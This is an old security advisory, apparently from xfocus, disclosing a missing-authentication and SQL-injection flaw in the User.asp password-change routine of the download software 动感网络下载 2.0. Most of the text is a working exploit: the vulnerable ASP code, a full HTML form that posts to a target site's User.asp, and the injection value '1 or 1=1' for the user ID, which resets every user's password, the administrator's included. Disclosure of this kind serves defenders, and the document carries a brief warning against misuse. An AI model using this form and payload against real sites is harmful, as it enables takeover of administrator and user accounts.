xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

移型换位之动感下载严重漏洞


创建时间:2003-10-24
文章属性:原创
文章提交:13k (13k_at_shjsafe.net)

+----------------------+
+  移型换位之动感下载  +
+----------------------+

-------------------------------------------------------------------------------
漏洞发现者:小路、13K
漏洞来源:动感网络下载2.0
危险程度:高
发现漏洞日期:2003年10月24日
作者站点:http://www.666w.com/ http://www.shjsafe.com/
-------------------------------------------------------------------------------

一、废话     *****************

    此下载程序应用极为广泛,而且都是一些比较大型的专业下载所使用,例如:赢政天下,天天精品
都是使用此程序,所以安全性一定要做好。
    此篇文章只是浅析一下漏洞的所在,和漏洞的利用方法,大家不要随意攻击别人网站的,此行为属于
违反行为!
    

二、甜言蜜语 *****************

    首先对程序进行全部的分析了,结果发现在User.asp中存在未对modfiy函数作用户验证,代码如下:
sub modfiy()  ' ==========================保存修改================================
     set rs=server.createobject("adodb.recordset")
     sql="select * from Admin_UserInfo where UserName='"&UserName&"' and UserID="&request.form("UserID")&" and CategoryName='"&CategoryName&"'"
      rs.open sql,conn,1,3
      msgtitle="修改信息"
      if not(rs.eof and rs.bof) then        
      rs("PassWord")=md5(Checkstr(Trim(Request.Form("PassWord"))))
      rs("Email")=Trim(Request.Form("Email"))
      rs.update
      msginfo="<li>修改成功!</li><li><a href=""User.asp""  class=""articlelist"">登录系统</a></li><br><li><a href=""./""  class=""articlelist"">返回首页</a></li>"
     else
     msginfo="<li>修改失败!</li>"
     end if
      rs.close
      set rs=nothing
      call Sysmsg(msgtitle,msginfo)
end sub

所以我们可以修改管理员密码

三、幸福工作 *****************

    以下我提供出一段代码,构造一个网页提交修改,代码如下:
<form name="myform" method="post" action="http://www.host.com
/User.Asp">
        <input type="Hidden" name="action" value='modfiy'>
                
  <table width="65%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#CCCCCC">
    <tr bgcolor="#E6E6E6">
      <th colspan="2">用户注册</th>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td width="80" align="right">用户id:</td>
      <td>
        <input type="text" name="Userid"  size="100" maxlength="150" value=> <font color="#FF0000">* </font> <br>(2-12位 数字、大小字字母、“_”或者“-”)</td>
    </tr>
<tr bgcolor="#F7F7F7">
      <td width="80" align="right">用户名:</td>
      <td>
        <input type="text" name="UserName"  size="100" maxlength="150" value=> <font color="#FF0000">* </font> <br>(2-12位 数字、大小字字母、“_”或者“-”)</td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td width="80" align="right">密 码:</td>
      <td>
        <input type="password" name="PassWord" value="" size="30" maxlength="15">
        <font color="#FF0000">*</font></td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td align="right">密码问题:</td>
      <td>
        <input type="text" name="Quesion" value="" size="30" maxlength="50"> <font color="#FF0000">*</font><br>忘记密码的提示问题</td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td align="right">密码答案:</td>
      <td>
        <input type="text" name="Answer" value="" size="30" maxlength="50"> <font color="#FF0000">*</font><br>忘记密码的提示问题答案,用于取回用户密码</td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td align="right">真实姓名:</td>
      <td>
        <input type="text" name="RealName" value="" size="30" maxlength="30">
        <font color="#FF0000">* </font> </td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td width="80" align="right">邮箱地址:</td>
      <td>
        <input type="text" name="Email" value="" size="30" maxlength="50">
        <font color="#FF0000">* </font></td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td align="right">联系 QQ:</td>
      <td><input type="text" name="QQ" value="" size="30" maxlength="30"></td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td align="right">联系地址:</td>
      <td> <input type="text" name="Address" value="" size="30" maxlength="100"><font color="#FF0000">* </font></td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td align="right">联系电话:</td>
      <td>
        <input type="text" name="Phone" value="" size="30" maxlength="30">
        <font color="#FF0000">* </font></td>
    </tr>
    <tr bgcolor="#F7F7F7">
      <td width="80" align="right">&nbsp;</td>
      <td bgcolor="#F7F7F7">
        <input type="submit" name="Submit" value="提 交"> <input type="reset" name="Submit2" value="重 置">
        
      </td>
    </tr>
  </table>  
      </form>
      
然后在用户id那儿填写 1 or 1=1
添上密码,所有用户的密码都被修改成你的密码了

还有很多好方法,就不多一一举例子了,你可以按照以上形式进行测试。

--------------------------------------End-------------------------------------